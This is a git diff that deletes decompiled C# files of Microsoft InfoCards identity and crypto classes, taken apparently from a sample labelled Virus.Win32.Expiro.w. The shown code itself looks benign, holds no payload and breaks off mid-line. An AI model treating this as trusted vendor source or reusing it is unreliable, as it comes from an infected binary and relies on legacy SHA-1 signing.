a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexList.cs deleted file mode 100644 index ac30d112..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexList.cs +++ /dev/null @@ -1,203 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndexList - { - private Hashtable m_indexes; - private bool m_isOpen; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - - public SecondaryIndexList(SecondaryIndexDefinition[] definitions) - { - if (definitions == null || definitions.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definitions)); - this.m_indexes = new Hashtable(definitions.Length, (IEqualityComparer) StringComparer.Create(CultureInfo.InvariantCulture, false)); - this.m_sortComparer = (IComparer) new SecondaryIndexList.SortComparer(); - this.m_searchComparer = (IComparer) new SecondaryIndexList.SearchComparer(); - for (int index = 0; index < definitions.Length; ++index) - this.m_indexes.Add((object) definitions[index].Name, (object) new SecondaryIndex(definitions[index], this.m_searchComparer, this.m_sortComparer)); - this.m_isOpen = true; - } - - public int Count - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes.Count; - } - } - - internal Hashtable InnerIndexes - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes; - } - } - - public void SetBuffer(string indexId, byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer)); - if ((uint) lastIndex > (uint) buffer.Length && lastIndex != -1) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (lastIndex), (object) lastIndex, SR.GetString("StoreLastIndexOutOfRange"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).SetBuffer(buffer, lastIndex); - } - - public void SetValuesForId(int localId, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (localId < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (localId), (object) localId, SR.GetString("StoreLocalIdOutOfRange"))); - if (indexBuffer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (indexBuffer)); - this.PreValidateIndexBuffer(indexBuffer); - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).SetValuesForId(localId, indexBuffer, remove); - } - - public bool Match(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfNotOpen(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (!this.m_indexes.ContainsKey((object) match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (match), (object) match.IndexName, SR.GetString("StoreIndexNameInvalid"))); - SecondaryIndex index1 = (SecondaryIndex) this.m_indexes[(object) match.IndexName]; - if (-1 == index1.LastIndex) - return false; - bool flag = false; - for (int index2 = 0; index2 < match.Count; ++index2) - { - IndexObject indexObject = match[index2]; - if (index1.Match(indexObject, localIds, 0, index1.LastIndex) >= 0) - flag = true; - } - return flag; - } - - public void PopulateRowIndexBuffer(DataRow row) - { - this.ThrowIfNotOpen(); - DataRowIndexBuffer indexBuffer = row.IndexBuffer; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).PopulateRowIndexBuffer(row.IndexBuffer, row.LocalId); - } - - public void RemoveAllValuesForId(int id) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - this.RemoveAllValuesForId(key, id); - } - - public void RemoveAllValuesForId(string indexId, int id) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).RemoveAllValuesForId(id); - } - - public void Close() - { - if (!this.m_isOpen) - return; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).Close(); - this.m_isOpen = false; - } - - private void PreValidateIndexBuffer(DataRowIndexBuffer buffer) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - { - SecondaryIndex index = (SecondaryIndex) this.m_indexes[(object) key]; - if (SecondaryIndexSettings.Nullable != (index.Definition.Settings & SecondaryIndexSettings.Nullable) && (buffer[key] == null || buffer.GetValueCount(key) == 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexValueCanNotBeNull", (object) index.Definition.Name))); - } - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndexList))); - } - - private class SearchComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SearchComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SearchComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return 0; - } - } - - private class SortComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SortComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SortComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return pObj1->LocalId - pObj2->LocalId; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexSettings.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexSettings.cs deleted file mode 100644 index 80f4cf75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexSettings.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexSettings -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum SecondaryIndexSettings - { - None = 0, - Nullable = 1, - Unique = 2, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecurityKeyTypeInternal.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecurityKeyTypeInternal.cs deleted file mode 100644 index 66fc94eb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecurityKeyTypeInternal.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecurityKeyTypeInternal -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum SecurityKeyTypeInternal - { - SymmetricKey, - AsymmetricKey, - NoKey, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs deleted file mode 100644 index 46ed1cc8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthAsymmetricKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthAsymmetricKey : AsymmetricSecurityKey, IDisposable - { - private SelfIssuedAuthRSACryptoProvider m_selfIssuedAuthRsaCryptoProvider; - - public SelfIssuedAuthAsymmetricKey(RSACryptoServiceProvider rsa) => this.m_selfIssuedAuthRsaCryptoProvider = new SelfIssuedAuthRSACryptoProvider(rsa); - - public override int KeySize => this.m_selfIssuedAuthRsaCryptoProvider.KeySize; - - public override bool HasPrivateKey() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_selfIssuedAuthRsaCryptoProvider.IsPublicOnly(), "selfIssuedRsaCrypoProvider"); - return true; - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return (AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("ClientUnsupportedCryptoAlgorithm", (object) algorithmUri))); - } - } - - public override HashAlgorithm GetHashAlgorithmForSignature(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (HashAlgorithm) new SHA1Managed(); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureDeformatter) new SelfIssuedAuthRSAPKCS1SignatureDeformatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureFormatter) new SelfIssuedAuthRSAPKCS1SignatureFormatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override byte[] DecryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] EncryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return true; - default: - return false; - } - } - - public override bool IsSymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsSymmetricAlgorithm(algorithmUri); - - public override bool IsAsymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsAsymmetricAlgorithm(algorithmUri); - - public void Dispose() - { - if (this.m_selfIssuedAuthRsaCryptoProvider == null) - return; - this.m_selfIssuedAuthRsaCryptoProvider.Dispose(); - this.m_selfIssuedAuthRsaCryptoProvider = (SelfIssuedAuthRSACryptoProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs deleted file mode 100644 index f93ec761..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthProofToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthProofToken : SecurityToken, IDisposable - { - private string m_id; - private DateTime m_expiration; - private ReadOnlyCollection m_securityKeys; - private SecurityKey m_securityKey; - private bool m_isSymmetric; - private RSACryptoServiceProvider m_publicKey; - - public SelfIssuedAuthProofToken(RSACryptoServiceProvider rsa, DateTime expiration) - : this(expiration) - { - this.m_publicKey = new RSACryptoServiceProvider(); - this.m_publicKey.ImportCspBlob(rsa.ExportCspBlob(false)); - this.InitCrypto((SecurityKey) new SelfIssuedAuthAsymmetricKey(rsa)); - } - - public SelfIssuedAuthProofToken(InMemorySymmetricSecurityKey symKey, DateTime expiration) - : this(expiration) - { - this.m_isSymmetric = true; - this.InitCrypto((SecurityKey) symKey); - } - - private SelfIssuedAuthProofToken(DateTime expiration) - { - this.m_id = Guid.NewGuid().ToString(); - this.m_expiration = expiration.ToUniversalTime(); - } - - public override string Id => this.m_id; - - public override ReadOnlyCollection SecurityKeys => this.m_securityKeys; - - public override DateTime ValidTo => this.m_expiration; - - public override DateTime ValidFrom => DateTime.UtcNow; - - private void InitCrypto(SecurityKey securityKey) - { - this.m_securityKey = securityKey; - this.m_securityKeys = new List(1) - { - securityKey - }.AsReadOnly(); - } - - public override bool CanCreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause); - - public override T CreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause) ? (T) new RsaKeyIdentifierClause((RSA) this.m_publicKey) : base.CreateKeyIdentifierClause(); - - public override bool MatchesKeyIdentifierClause(SecurityKeyIdentifierClause keyIdentifierClause) => keyIdentifierClause is RsaKeyIdentifierClause identifierClause && identifierClause.Matches((RSA) this.m_publicKey); - - public void Dispose() - { - if (this.m_securityKey != null && !this.m_isSymmetric) - { - ((IDisposable) this.m_securityKey).Dispose(); - this.m_securityKey = (SecurityKey) null; - this.m_securityKeys = (ReadOnlyCollection) null; - } - if (this.m_publicKey == null) - return; - this.m_publicKey.Dispose(); - this.m_publicKey = (RSACryptoServiceProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs deleted file mode 100644 index a33bc155..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSACryptoProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSACryptoProvider : RSA - { - private RSACryptoServiceProvider m_rsa; - - public SelfIssuedAuthRSACryptoProvider(RSACryptoServiceProvider rsa) => this.m_rsa = rsa; - - public override string SignatureAlgorithm => this.m_rsa.SignatureAlgorithm; - - public override string KeyExchangeAlgorithm => this.m_rsa.KeyExchangeAlgorithm; - - public bool IsPublicOnly() => this.m_rsa.PublicOnly; - - public override byte[] EncryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] DecryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Decrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Encrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - return this.m_rsa.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - InfoCardTrace.ThrowInvalidArgumentConditional(sig == null || 0 == sig.Length, nameof (sig)); - return this.m_rsa.VerifyHash(hash, hashAlgOid, sig); - } - - public override RSAParameters ExportParameters(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string ToXmlString(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void FromXmlString(string xmlString) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_rsa == null) - return; - this.m_rsa.Dispose(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs deleted file mode 100644 index 580918d7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureDeformatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureDeformatter : RSAPKCS1SignatureDeformatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override bool VerifySignature(byte[] rgbHash, byte[] rgbSignature) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && rgbSignature != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).VerifyHash(rgbHash, this.m_strOID, rgbSignature) : base.VerifySignature(rgbHash, rgbSignature); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs deleted file mode 100644 index 5b9cab3d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureFormatter : RSAPKCS1SignatureFormatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureFormatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureFormatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override byte[] CreateSignature(byte[] rgbHash) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).SignHash(rgbHash, this.m_strOID) : base.CreateSignature(rgbHash); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs deleted file mode 100644 index abe20d1e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs +++ /dev/null @@ -1,312 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedSamlTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedSamlTokenFactory : TokenFactoryBase - { - private const string SamlAssertionIdPrefix = "SamlSecurityToken-"; - private const string DefaultDigestAlgorithm = "http://www.w3.org/2000/09/xmldsig#sha1"; - public static readonly TimeSpan TokenLifetime = new TimeSpan(1, 0, 